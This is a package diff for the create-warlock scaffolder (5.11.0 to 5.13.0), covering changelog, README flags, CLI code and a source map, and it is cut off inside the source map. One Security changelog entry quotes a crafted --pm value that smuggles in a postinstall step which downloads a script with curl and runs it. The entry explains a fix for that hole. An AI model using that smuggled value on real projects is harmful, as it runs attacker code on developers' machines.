create-warlock 5.11.0 → 5.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +25 -3
- package/README.md +38 -5
- package/esm/commands/create-new-app/index.mjs +102 -9
- package/esm/commands/create-new-app/index.mjs.map +1 -1
- package/esm/commands/create-new-app/types.d.mts +8 -3
- package/esm/commands/create-warlock-app/index.mjs +12 -1
- package/esm/commands/create-warlock-app/index.mjs.map +1 -1
- package/esm/features/agent-kit-targets.mjs +134 -0
- package/esm/features/agent-kit-targets.mjs.map +1 -0
- package/esm/features/features-map.mjs +18 -0
- package/esm/features/features-map.mjs.map +1 -1
- package/esm/flags/definitions.mjs +89 -0
- package/esm/flags/definitions.mjs.map +1 -0
- package/esm/helpers/app.mjs +21 -0
- package/esm/helpers/app.mjs.map +1 -1
- package/esm/index.mjs +15 -23
- package/esm/index.mjs.map +1 -1
- package/esm/prompts/ask-stack.mjs +35 -0
- package/esm/prompts/ask-stack.mjs.map +1 -0
- package/esm/summary.mjs +25 -0
- package/esm/summary.mjs.map +1 -0
- package/llms-full.txt +65 -38
- package/llms.txt +1 -1
- package/package.json +2 -2
- package/skills/create-a-warlock-project/SKILL.md +65 -38
- package/templates/warlock/AGENTS.md +1 -1
- package/templates/warlock/skills/api-design/SKILL.md +2 -2
- package/templates/warlock/skills/security-baseline/SKILL.md +1 -1
- package/templates/warlock/src/app/auth/controllers/logout-all.controller.ts +1 -1
- package/templates/warlock/src/app/auth/controllers/logout.controller.ts +3 -3
- package/templates/warlock/src/app/auth/controllers/me.controller.ts +1 -1
- package/templates/warlock/src/app/auth/requests/guarded.request.ts +2 -2
- package/templates/warlock/src/app/posts/controllers/create-new-post.controller.ts +1 -1
- package/templates/warlock/src/app/users/models/user/migrations/11-12-2025_23-58-03-user.migration.ts +1 -0
- package/templates/warlock/src/app/users/models/user/user.model.ts +12 -4
- package/templates/warlock/src/app/users/services/login-social.ts +4 -3
- package/templates/warlock/src/config/database.postgres.ts +4 -0
- package/templates/warlock/src/typings.d.ts +14 -8
- package/templates/warlock/src/web/home/components/contact-section.tsx +31 -14
- package/templates/warlock/src/web/home/hooks/use-contact-form.ts +18 -7
- package/templates/warlock/src/web/home/index.page.tsx +1 -1
- package/templates/warlock/src/web/root.tsx +5 -2
- package/templates/warlock/src/web/home/hooks/use-locale-switcher.ts +0 -35
package/CHANGELOG.md
CHANGED
|
@@ -4,6 +4,28 @@ All notable changes to `create-warlock` are documented in this file.
|
|
|
4
4
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). `@warlock.js/*` packages are released in lockstep — every package shares the same version number, so a version below may list only the changes that affected this package.
|
|
6
6
|
|
|
7
|
+
## 5.13.0 - 2026-09-17
|
|
8
|
+
|
|
9
|
+
### Added
|
|
10
|
+
|
|
11
|
+
- The optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
|
|
12
|
+
|
|
13
|
+
### Fixed
|
|
14
|
+
|
|
15
|
+
- A `--db=postgres` scaffold shipped `src/config/database.ts` with an empty `clientOptions: {}`. Cascade's `PostgresPoolConfig` extends `PostgresConnectionConfig`, whose `database` field is required (not optional, unlike Mongo's `MongoClientOptions`), so `{}` failed `tsc --noEmit` on that exact line before a single line of app code ran. `templates/warlock/src/config/database.postgres.ts` now sets `database` inside `clientOptions` too. Verified against a real `npm create warlock@5.12.0 --stack=web --db=postgres --jwt` scaffold installed from the registry: this was the only `tsc` error once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check in `specs/template-integrity.spec.ts`.
|
|
16
|
+
- Investigated a separate report that a `--stack=web --db=postgres --jwt` scaffold lacked `@warlock.js/web` and `@types/react`/`@types/react-dom`. **Not reproducible** against the published 5.12.0 template: `package.json` lists all three correctly, and a clean install (`npm ci` with `NODE_ENV` unset) installs them. The only way to reproduce the missing `@types/*` packages was installing with `NODE_ENV=production` set, which makes npm skip `devDependencies` entirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report.
|
|
17
|
+
- The scaffolded `User` model's `verified` scope queried a boolean `emailVerified` column that has never existed in the template's schema or migration. `@warlock.js/auth`'s email verification (added in 5.13.0) stamps `emailVerifiedAt` (a nullable `Date`) instead, treating "verified" as the field holding a value. `templates/warlock/src/app/users/models/user/user.model.ts` now declares `emailVerifiedAt: v.date().optional()` on the schema and scopes `verified` via `query.whereNotNull("emailVerifiedAt")`; the user migration adds the matching nullable `timestamp()` column. Guarded by new checks in `specs/template-integrity.spec.ts`.
|
|
18
|
+
|
|
19
|
+
## 5.12.0 - 2026-09-16
|
|
20
|
+
|
|
21
|
+
### Changed
|
|
22
|
+
|
|
23
|
+
- `create-warlock` asks at most one question (API-only or full-stack web); every other choice is a flag with a default, printed after scaffolding. Fully non-interactive with `--yes`; `--interactive` restores the long form; `--agents` picks agent-kit targets (default `claude`).
|
|
24
|
+
|
|
25
|
+
### Fixed
|
|
26
|
+
|
|
27
|
+
- `npm run seed` failed on a fresh scaffold: the generated `userSchema` required `image` and `lastLogin`, but neither the seed data nor a password login ever supplies them. Both are now `.optional()` on the model — `image` is still required at registration by the controller's own `create-user.schema.ts`, and `lastLogin` is only ever written by the social-login handler, so a user who has never logged in correctly has neither.
|
|
28
|
+
|
|
7
29
|
## 5.11.0 - 2026-09-14
|
|
8
30
|
|
|
9
31
|
### Removed
|
|
@@ -128,11 +150,11 @@ No changes to `create-warlock`. Released in lockstep with the `@warlock.js/web`
|
|
|
128
150
|
### Fixed
|
|
129
151
|
|
|
130
152
|
- **The `warlock` binary was never linked in a yarn-1 scaffold.** Installing the batched
|
|
131
|
-
features under yarn 1 hit an
|
|
153
|
+
features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the
|
|
132
154
|
install before `node_modules/.bin` was written — leaving a scaffolded project whose
|
|
133
155
|
own `warlock` command did not exist. `App.pinViteResolution()` now writes matching
|
|
134
156
|
`resolutions` and `overrides` entries for vite into the generated `package.json`
|
|
135
|
-
|
|
157
|
+
_before_ the batched feature install runs, so a single vite version is resolved and
|
|
136
158
|
the linker completes.
|
|
137
159
|
|
|
138
160
|
## 5.0.0 - 2026-08-25
|
|
@@ -150,7 +172,7 @@ No changes to `create-warlock`. Released in lockstep with the `@warlock.js/web`
|
|
|
150
172
|
|
|
151
173
|
### Security
|
|
152
174
|
|
|
153
|
-
- **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run
|
|
175
|
+
- **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run _and_ was spliced verbatim into the generated `package.json`'s script text before that text is parsed as JSON — a crafted value (e.g. `--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#'`) could inject a `postinstall` script that the scaffolder's own automatic `install()` step would then execute, or invoke an arbitrary binary on `PATH` outright. `--yes`/non-interactive scaffolds now reject any `--pm` outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
|
|
154
176
|
|
|
155
177
|
### Dependencies
|
|
156
178
|
|
package/README.md
CHANGED
|
@@ -26,13 +26,46 @@ Then follow the instructions, it is easy as that!
|
|
|
26
26
|
|
|
27
27
|
### Flags
|
|
28
28
|
|
|
29
|
+
`create-warlock` is fully headless: every prompt has a flag that answers it,
|
|
30
|
+
`--yes` takes the default for anything you leave unset, and it works with no
|
|
31
|
+
terminal at all (CI, a script, an agent). With a terminal and neither `--yes`
|
|
32
|
+
nor `--interactive`, it asks **at most one question** — API-only or
|
|
33
|
+
full-stack web, the only choice that changes the generated app's shape.
|
|
34
|
+
Everything else below is a flag with a default; a summary of what was decided
|
|
35
|
+
prints after scaffolding, along with how to change each one.
|
|
36
|
+
|
|
37
|
+
| Flag | Description | Default |
|
|
38
|
+
| --- | --- | --- |
|
|
39
|
+
| `--name=<name>` | Project name (or the first positional arg) | required — prompted with a TTY, otherwise fails naming this flag |
|
|
40
|
+
| `--stack=<api\|web>` | The one structural question: API-only or full-stack web | `api` |
|
|
41
|
+
| `--db=<driver>` / `--no-db` | Database driver (`postgres`, `mongodb`, …), or skip one entirely | `mongodb` |
|
|
42
|
+
| `--features=<list>` | Comma-separated feature keys (e.g. `test,herald`) | none (or `["web"]` when `--stack=web` and `--features` is not given) |
|
|
43
|
+
| `--ai=<list>` | Comma-separated AI provider keys (e.g. `openai,anthropic`) | none |
|
|
44
|
+
| `--pm=<manager>` | Package manager (`npm`, `yarn`, `pnpm`, `bun`) | inferred from the invoking agent (`npm_config_user_agent`) or the system |
|
|
45
|
+
| `--agents=<list>` | Comma-separated [agent-kit](https://mongez.js.org/agent-kit) targets | `claude` |
|
|
46
|
+
| `--git` / `--no-git` | Force-enable or force-disable git initialization | `false` |
|
|
47
|
+
| `--jwt` / `--no-jwt` | Force-enable or force-disable JWT secret generation | `false` |
|
|
48
|
+
| `-y`, `--yes` | Skip every prompt and take defaults for anything unset | `false` |
|
|
49
|
+
| `--interactive`, `--customize` | Restore the full long-form interactive wizard | `false` |
|
|
50
|
+
| `-h`, `--help` | Print usage (every flag + its default) and exit | — |
|
|
51
|
+
| `-v`, `--version` | Print the installed version and exit | — |
|
|
52
|
+
|
|
29
53
|
```bash
|
|
30
|
-
create-warlock
|
|
31
|
-
create-warlock --
|
|
54
|
+
create-warlock my-app --db=postgres --features=test,herald --yes
|
|
55
|
+
create-warlock --help # print every flag with its default, no scaffolding runs
|
|
56
|
+
create-warlock --version # print the installed version and exit
|
|
57
|
+
create-warlock my-app --interactive # the full long-form wizard, one prompt at a time
|
|
32
58
|
```
|
|
33
59
|
|
|
34
|
-
|
|
35
|
-
before a positional project name or any other flag is
|
|
60
|
+
`--help` and `--version` exit before any prompt, filesystem write, or network
|
|
61
|
+
call — including before a positional project name or any other flag is
|
|
62
|
+
honoured.
|
|
63
|
+
|
|
64
|
+
`--agents` validates against the agent-kit targets published at
|
|
65
|
+
[mongez.js.org/agent-kit/llms.txt](https://mongez.js.org/agent-kit/llms.txt)
|
|
66
|
+
(cached locally after the first successful lookup); `claude`, the default,
|
|
67
|
+
always works offline. An unrecognized target fails the run with the full list
|
|
68
|
+
of valid targets rather than silently falling back.
|
|
36
69
|
|
|
37
70
|
## Developing this package locally
|
|
38
71
|
|
|
@@ -73,7 +106,7 @@ not from source.
|
|
|
73
106
|
|
|
74
107
|
`.github/workflows/ci.yml` runs two jobs:
|
|
75
108
|
|
|
76
|
-
- **`specs`** — on pushes to `main`/`master` and on pull requests: `node scripts/check-resolver-boundaries.mjs`
|
|
109
|
+
- **`specs`** — on pushes to `main`/`master` and on pull requests: `node scripts/check-resolver-boundaries.mjs`
|
|
77
110
|
(below), a smoke test that the built CLI's `--version` output matches `package.json`, then
|
|
78
111
|
`vitest`.
|
|
79
112
|
- **`scaffold-typecheck`** — scaffolds a real project with the current scaffolder, installs
|
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
import { getDatabaseDriver, getDatabaseDriverOptions, isNoDatabase } from "../../features/database-drivers.mjs";
|
|
2
2
|
import { getAiPackageOptions, getAiProviderOptions, getAllFeatureKeys, getDefaultFeatureKeys, getFeatureOptions } from "../../features/features-map.mjs";
|
|
3
|
+
import { resolveAgentTargets } from "../../features/agent-kit-targets.mjs";
|
|
3
4
|
import { ALLOWED_PACKAGE_MANAGERS, detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, isValidPackageManager, setPackageManager } from "../../helpers/package-manager.mjs";
|
|
4
5
|
import { packageRoot } from "../../helpers/paths.mjs";
|
|
5
6
|
import { App } from "../../helpers/app.mjs";
|
|
6
7
|
import { hasInteractiveStdin } from "../../helpers/tty.mjs";
|
|
8
|
+
import { askStack } from "../../prompts/ask-stack.mjs";
|
|
7
9
|
import { showIntroBanner } from "../../ui/banner.mjs";
|
|
8
10
|
import { createWarlockApp } from "../create-warlock-app/index.mjs";
|
|
9
11
|
import getAppPath from "./get-app-path.mjs";
|
|
@@ -26,6 +28,19 @@ async function createNewApp(cli = {}) {
|
|
|
26
28
|
await createNonInteractive(cli);
|
|
27
29
|
return;
|
|
28
30
|
}
|
|
31
|
+
if (cli.interactive) {
|
|
32
|
+
await createFullWizard(cli, pmDetectionPromise);
|
|
33
|
+
return;
|
|
34
|
+
}
|
|
35
|
+
await createDefaultInteractive(cli, pmDetectionPromise);
|
|
36
|
+
}
|
|
37
|
+
/**
|
|
38
|
+
* The full long-form wizard (`--interactive` / `--customize`): every prompt,
|
|
39
|
+
* one after another. This is the ORIGINAL default flow, preserved verbatim —
|
|
40
|
+
* only its trigger moved from "any TTY" to an explicit opt-in flag, per the
|
|
41
|
+
* rule that a reversible choice never prompts by default.
|
|
42
|
+
*/
|
|
43
|
+
async function createFullWizard(cli, pmDetectionPromise) {
|
|
29
44
|
const appName = await text({
|
|
30
45
|
message: "What shall we call your project?",
|
|
31
46
|
placeholder: "my-warlock-app"
|
|
@@ -88,6 +103,13 @@ async function createNewApp(cli = {}) {
|
|
|
88
103
|
cancel("Setup cancelled");
|
|
89
104
|
process.exit(0);
|
|
90
105
|
}
|
|
106
|
+
let agents;
|
|
107
|
+
try {
|
|
108
|
+
agents = await resolveAgentTargets(cli.agents);
|
|
109
|
+
} catch (error) {
|
|
110
|
+
cancel(error.message);
|
|
111
|
+
process.exit(1);
|
|
112
|
+
}
|
|
91
113
|
await scaffold({
|
|
92
114
|
appName,
|
|
93
115
|
appType: "warlock",
|
|
@@ -99,8 +121,58 @@ async function createNewApp(cli = {}) {
|
|
|
99
121
|
features: selectedFeatures,
|
|
100
122
|
aiProviders: selectedAiProviders,
|
|
101
123
|
useGit,
|
|
102
|
-
useJWT
|
|
124
|
+
useJWT,
|
|
125
|
+
agents
|
|
126
|
+
}
|
|
127
|
+
});
|
|
128
|
+
}
|
|
129
|
+
/**
|
|
130
|
+
* The default TTY path: neither `--yes` nor `--interactive` was given, but a
|
|
131
|
+
* terminal is available. Asks the project name when missing (a required
|
|
132
|
+
* answer with no sane default — same treatment as the non-interactive path)
|
|
133
|
+
* plus the ONE structural question (API-only vs full-stack web) when `--stack`
|
|
134
|
+
* was not already supplied. Every other choice is resolved exactly like
|
|
135
|
+
* `createNonInteractive` — flags, with defaults, never a prompt.
|
|
136
|
+
*/
|
|
137
|
+
async function createDefaultInteractive(cli, pmDetectionPromise) {
|
|
138
|
+
let appName = cli.name;
|
|
139
|
+
if (!appName) {
|
|
140
|
+
const answer = await text({
|
|
141
|
+
message: "What shall we call your project?",
|
|
142
|
+
placeholder: "my-warlock-app"
|
|
143
|
+
});
|
|
144
|
+
if (isCancel(answer) || !answer.trim()) {
|
|
145
|
+
cancel("A project name is required to continue");
|
|
146
|
+
process.exit(0);
|
|
103
147
|
}
|
|
148
|
+
appName = answer;
|
|
149
|
+
}
|
|
150
|
+
const appPath = getAppPath(appName);
|
|
151
|
+
if (!appPath) return;
|
|
152
|
+
const stack = cli.stack ?? await askStack();
|
|
153
|
+
await pmDetectionPromise;
|
|
154
|
+
const packageManager = cli.pm ?? getPreferredPackageManager();
|
|
155
|
+
if (!isValidPackageManager(packageManager)) {
|
|
156
|
+
cancel(`Unknown package manager "${packageManager}" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(", ")}`);
|
|
157
|
+
process.exit(1);
|
|
158
|
+
}
|
|
159
|
+
setPackageManager(packageManager);
|
|
160
|
+
let options;
|
|
161
|
+
try {
|
|
162
|
+
options = await resolveAppOptions({
|
|
163
|
+
...cli,
|
|
164
|
+
stack
|
|
165
|
+
});
|
|
166
|
+
} catch (error) {
|
|
167
|
+
cancel(error.message);
|
|
168
|
+
process.exit(1);
|
|
169
|
+
}
|
|
170
|
+
await scaffold({
|
|
171
|
+
appName,
|
|
172
|
+
appType: "warlock",
|
|
173
|
+
appPath,
|
|
174
|
+
pkgManager: getPackageManager(),
|
|
175
|
+
options
|
|
104
176
|
});
|
|
105
177
|
}
|
|
106
178
|
/**
|
|
@@ -114,20 +186,27 @@ async function scaffold(appDetails) {
|
|
|
114
186
|
if (outcome && !outcome.ok) process.exitCode = 1;
|
|
115
187
|
}
|
|
116
188
|
/**
|
|
117
|
-
* Resolve
|
|
118
|
-
* non-interactive defaults, validating the database
|
|
119
|
-
* keys, and handling the `none` (no database)
|
|
189
|
+
* Resolve every flag-or-default `AppOptions` field EXCEPT `agents` from parsed
|
|
190
|
+
* CLI flags — applying the non-interactive defaults, validating the database
|
|
191
|
+
* driver and feature/provider keys, and handling the `none` (no database)
|
|
192
|
+
* selection. `agents` is resolved separately by {@link resolveAppOptions}
|
|
193
|
+
* because it can require a network fetch; this function stays synchronous so
|
|
194
|
+
* the rest of the flag → app mapping remains trivially unit-testable.
|
|
195
|
+
*
|
|
196
|
+
* `--stack=web` (or the equivalent wizard answer) seeds the `web` feature by
|
|
197
|
+
* default — the one structural choice — but an explicit `--features` always
|
|
198
|
+
* wins, so a user who spells out the feature list is never second-guessed.
|
|
120
199
|
*
|
|
121
|
-
*
|
|
122
|
-
*
|
|
123
|
-
* caller can fail fast before any file is written.
|
|
200
|
+
* Throws on an unknown driver or feature key so the caller can fail fast
|
|
201
|
+
* before any file is written.
|
|
124
202
|
*/
|
|
125
203
|
function resolveNonInteractiveOptions(cli) {
|
|
126
204
|
const databaseDriver = cli.db ?? "mongodb";
|
|
127
205
|
const noDatabase = isNoDatabase(databaseDriver);
|
|
128
206
|
const driver = noDatabase ? void 0 : getDatabaseDriver(databaseDriver);
|
|
129
207
|
if (!noDatabase && !driver) throw new Error(`Unknown database driver "${databaseDriver}"`);
|
|
130
|
-
const
|
|
208
|
+
const stack = cli.stack ?? "api";
|
|
209
|
+
const features = cli.features ?? (stack === "web" ? ["web"] : []);
|
|
131
210
|
const aiProviders = cli.ai ?? [];
|
|
132
211
|
const allowedKeys = getAllFeatureKeys();
|
|
133
212
|
const invalidKeys = [...features, ...aiProviders].filter((key) => !allowedKeys.includes(key));
|
|
@@ -142,6 +221,20 @@ function resolveNonInteractiveOptions(cli) {
|
|
|
142
221
|
};
|
|
143
222
|
}
|
|
144
223
|
/**
|
|
224
|
+
* Resolve the FULL `AppOptions` — {@link resolveNonInteractiveOptions} plus
|
|
225
|
+
* the validated `agents` list. Async because a non-default `--agents`
|
|
226
|
+
* selection may need {@link resolveAgentTargets}'s network fetch; the default
|
|
227
|
+
* (`claude`) never does.
|
|
228
|
+
*/
|
|
229
|
+
async function resolveAppOptions(cli) {
|
|
230
|
+
const options = resolveNonInteractiveOptions(cli);
|
|
231
|
+
const agents = await resolveAgentTargets(cli.agents);
|
|
232
|
+
return {
|
|
233
|
+
...options,
|
|
234
|
+
agents
|
|
235
|
+
};
|
|
236
|
+
}
|
|
237
|
+
/**
|
|
145
238
|
* Non-interactive scaffold path for `--yes`. Builds the app from flags with
|
|
146
239
|
* sensible defaults and skips every prompt — a single command scaffolds the
|
|
147
240
|
* entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails
|
|
@@ -164,7 +257,7 @@ async function createNonInteractive(cli) {
|
|
|
164
257
|
setPackageManager(packageManager);
|
|
165
258
|
let options;
|
|
166
259
|
try {
|
|
167
|
-
options =
|
|
260
|
+
options = await resolveAppOptions(cli);
|
|
168
261
|
} catch (error) {
|
|
169
262
|
cancel(error.message);
|
|
170
263
|
process.exit(1);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n cancel,\r\n confirm,\r\n isCancel,\r\n multiselect,\r\n select,\r\n text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n getDatabaseDriver,\r\n getDatabaseDriverOptions,\r\n isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n getAiPackageOptions,\r\n getAiProviderOptions,\r\n getAllFeatureKeys,\r\n getDefaultFeatureKeys,\r\n getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n ALLOWED_PACKAGE_MANAGERS,\r\n detectPackageManagers,\r\n getPackageManager,\r\n getPreferredPackageManager,\r\n getSystemPackageManagers,\r\n isValidPackageManager,\r\n setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { hasInteractiveStdin } from \"../../helpers/tty\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n // Start detecting package managers in the background to avoid delay later\r\n const pmDetectionPromise = detectPackageManagers();\r\n\r\n // Get version from package.json\r\n const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n const createWarlockVersion = packageJson.version;\r\n\r\n // Show the intro banner\r\n showIntroBanner(createWarlockVersion);\r\n\r\n console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n // Validate Node.js version (minimum v20)\r\n const [major] = process.versions.node.split(\".\").map(Number);\r\n if (major < 20) {\r\n cancel(\"Node.js version must be at least 20.0.0\");\r\n process.exit(0);\r\n }\r\n\r\n // Non-interactive path: build everything from flags and skip the prompts.\r\n //\r\n // Triggered by --yes, OR automatically the moment stdin has no TTY — CI, a\r\n // script, an agent harness. This check MUST run before the first prompt\r\n // call: attempting `text()`/`select()` on a non-TTY stdin does not fail\r\n // cleanly, it crashes with a libuv internal (\"TTY initialization failed:\r\n // uv_tty_init returned EBADF\") before any app directory exists, no matter\r\n // how the run was invoked.\r\n //\r\n // Prompting is the fallback, not the precondition: a project name is the\r\n // only answer with no sane default, so when a name is already available\r\n // (positional arg or --name) the run proceeds exactly as --yes would, TTY\r\n // or not. When the name is ALSO missing and there is no TTY to ask for one,\r\n // createNonInteractive fails loudly — naming --yes and every non-interactive\r\n // flag — instead of ever reaching a prompt. Every other prompt already has a\r\n // default; see resolveNonInteractiveOptions below for the full table.\r\n if (cli.yes || !hasInteractiveStdin()) {\r\n await createNonInteractive(cli);\r\n return;\r\n }\r\n\r\n // Step 1: Project name\r\n const appName = await text({\r\n message: \"What shall we call your project?\",\r\n placeholder: \"my-warlock-app\",\r\n });\r\n\r\n if (isCancel(appName) || !appName.trim()) {\r\n cancel(\"A project name is required to continue\");\r\n process.exit(0);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n if (!appPath) return;\r\n\r\n // Step 2: Package Manager selection\r\n await pmDetectionPromise; // Ensure detection is complete\r\n\r\n const packageManager = await select({\r\n message: \"Which package manager do you want to use?\",\r\n options: getSystemPackageManagers().map(pm => ({\r\n value: pm,\r\n label: pm,\r\n })),\r\n initialValue: getPreferredPackageManager(),\r\n });\r\n\r\n if (isCancel(packageManager)) {\r\n cancel(\"Package manager selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n setPackageManager(packageManager as string);\r\n\r\n // Step 3: Database driver selection\r\n const databaseDriver = await select({\r\n message: \"Choose your database driver\",\r\n options: getDatabaseDriverOptions(),\r\n });\r\n\r\n if (isCancel(databaseDriver)) {\r\n cancel(\"Database selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n // Step 4: Features selection\r\n const selectedFeatures = await multiselect({\r\n message: \"Select optional features to include\",\r\n options: getFeatureOptions(),\r\n initialValues: getDefaultFeatureKeys(),\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedFeatures)) {\r\n cancel(\"Feature selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 4b: AI providers + capability packages — selecting any pulls\r\n // @warlock.js/ai automatically. The result still flows through the\r\n // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n const selectedAiProviders = await multiselect({\r\n message:\r\n \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedAiProviders)) {\r\n cancel(\"AI provider selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 5: Git initialization\r\n const useGit =\r\n (await confirm({\r\n message: \"Initialize a Git repository?\",\r\n })) === true;\r\n\r\n if (isCancel(useGit)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 6: JWT secret generation\r\n const useJWT =\r\n (await confirm({\r\n message: \"Generate JWT secret keys?\",\r\n })) === true;\r\n\r\n if (isCancel(useJWT)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Build app details\r\n const appDetails: Required<AppType> = {\r\n appName: appName,\r\n appType: \"warlock\",\r\n appPath: appPath,\r\n pkgManager: getPackageManager(),\r\n options: {\r\n databaseDriver: databaseDriver as string,\r\n databasePort: selectedDriver?.defaultPort || 27017,\r\n features: selectedFeatures as string[],\r\n aiProviders: selectedAiProviders as string[],\r\n useGit,\r\n useJWT,\r\n },\r\n };\r\n\r\n // Create the app\r\n await scaffold(appDetails);\r\n}\r\n\r\n/**\r\n * Run the scaffold and make the process's exit code tell the truth: anything\r\n * the user asked for that did not happen leaves the shell with a non-zero\r\n * status, so scripts and CI cannot mistake a half-built project for a finished\r\n * one. The problems themselves are printed by the scaffolder.\r\n */\r\nasync function scaffold(appDetails: Required<AppType>) {\r\n const outcome = await createWarlockApp(new App(appDetails));\r\n\r\n if (outcome && !outcome.ok) {\r\n process.exitCode = 1;\r\n }\r\n}\r\n\r\n/**\r\n * Resolve the full set of `AppOptions` from parsed CLI flags — applying the\r\n * non-interactive defaults, validating the database driver and feature/provider\r\n * keys, and handling the `none` (no database) selection.\r\n *\r\n * Pure and side-effect free (no prompts, no `process.exit`) so the flag → app\r\n * mapping is unit-testable. Throws on an unknown driver or feature key so the\r\n * caller can fail fast before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): AppOptions {\r\n const databaseDriver = cli.db ?? \"mongodb\";\r\n const noDatabase = isNoDatabase(databaseDriver);\r\n const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n if (!noDatabase && !driver) {\r\n throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n }\r\n\r\n const features = cli.features ?? [];\r\n const aiProviders = cli.ai ?? [];\r\n\r\n const allowedKeys = getAllFeatureKeys();\r\n const invalidKeys = [...features, ...aiProviders].filter(\r\n key => !allowedKeys.includes(key),\r\n );\r\n\r\n if (invalidKeys.length > 0) {\r\n throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n }\r\n\r\n return {\r\n databaseDriver,\r\n databasePort: driver?.defaultPort ?? 27017,\r\n features,\r\n aiProviders,\r\n useGit: cli.git ?? false,\r\n useJWT: cli.jwt ?? false,\r\n };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n const appName = (cli.name ?? \"\").trim();\r\n\r\n if (!appName) {\r\n // Reached either because --yes was passed with no name, or because stdin\r\n // has no TTY to prompt for one — either way, nothing is left to fall back\r\n // to. Name --yes AND every non-interactive flag so a CI log is enough to\r\n // fix the invocation without hunting for docs.\r\n cancel(\r\n \"A project name is required and no terminal is available to ask for one. \" +\r\n \"Pass it as the first argument or --name=<name>. Non-interactive flags: \" +\r\n \"--yes, --pm=<npm|yarn|pnpm>, --db=<driver>|--no-db, --features=<list>, \" +\r\n \"--ai=<list>, --git|--no-git, --jwt|--no-jwt.\",\r\n );\r\n process.exit(1);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n\r\n if (!appPath) return;\r\n\r\n await detectPackageManagers();\r\n\r\n const packageManager = cli.pm ?? getPreferredPackageManager();\r\n\r\n if (!isValidPackageManager(packageManager)) {\r\n cancel(\r\n `Unknown package manager \"${packageManager}\" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(\", \")}`,\r\n );\r\n process.exit(1);\r\n }\r\n\r\n setPackageManager(packageManager);\r\n\r\n let options: AppOptions;\r\n\r\n try {\r\n options = resolveNonInteractiveOptions(cli);\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n const appDetails: Required<AppType> = {\r\n appName,\r\n appType: \"warlock\",\r\n appPath,\r\n pkgManager: getPackageManager(),\r\n options,\r\n };\r\n\r\n await 